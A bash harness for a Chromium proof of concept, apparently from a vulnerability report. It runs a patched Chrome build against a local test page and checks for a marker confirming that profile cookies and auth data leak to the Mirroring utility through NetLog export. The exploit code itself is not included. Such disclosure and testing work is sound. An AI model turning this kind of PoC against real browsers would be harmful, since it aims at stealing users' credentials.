#!/bin/bash
# Run script for the cross-NetworkContext NetLog leak POC.
#
# Prerequisite: chrome built from a tree with chromium-changes.patch applied
# (Strategy B code injection — simulates a compromised Mirroring utility plus
# the user's "Cast tab" click that launches it).
set -euo pipefail

CHROME=${CHROME:-/chromium/chromium/src/out/asan/chrome}
HERE=$(cd "$(dirname "$0")" && pwd)
PROFILE=$(mktemp -d /tmp/chrome-poc-profile.XXXXXX)
LOG="$HERE/chrome-output.log"

cd "$HERE"
echo "[run] starting HTTP server on :8765"
python3 server.py >server.log 2>&1 &
SERVER_PID=$!
trap 'kill $SERVER_PID 2>/dev/null || true; rm -rf "$PROFILE"' EXIT
sleep 1

echo "[run] launching chrome (will run for ~18 s)"
# --no-sandbox is required only because this container forbids unprivileged
# user namespaces (zygote_host_impl_linux.cc:128). It does NOT affect the bug:
# the Mirroring utility and the network service are still separate processes,
# and the leak crosses the utility -> network-service mojo boundary, which the
# Linux namespace sandbox never gates.
timeout 18 "$CHROME" \
  --no-first-run --no-default-browser-check --ignore-gpu-blocklist \
  --disable-gpu --no-sandbox \
  --user-data-dir="$PROFILE" \
  "http://127.0.0.1:8765/poc.html" \
  >"$LOG" 2>&1 || true

echo
echo "===== POC output (filtered) ====="
grep -E '\[POC-|====' "$LOG" || true
echo "================================="
echo
if grep -q 'CROSS-NETWORKCONTEXT NETLOG LEAK PROVEN' "$LOG"; then
  echo "[run] RESULT: leak confirmed — cookie/auth from the profile"
  echo "[run]         NetworkContext was captured by the sandboxed"
  echo "[run]         Mirroring utility via CreateNetLogExporter."
  exit 0
else
  echo "[run] RESULT: marker not found — see $LOG"
  exit 1
fi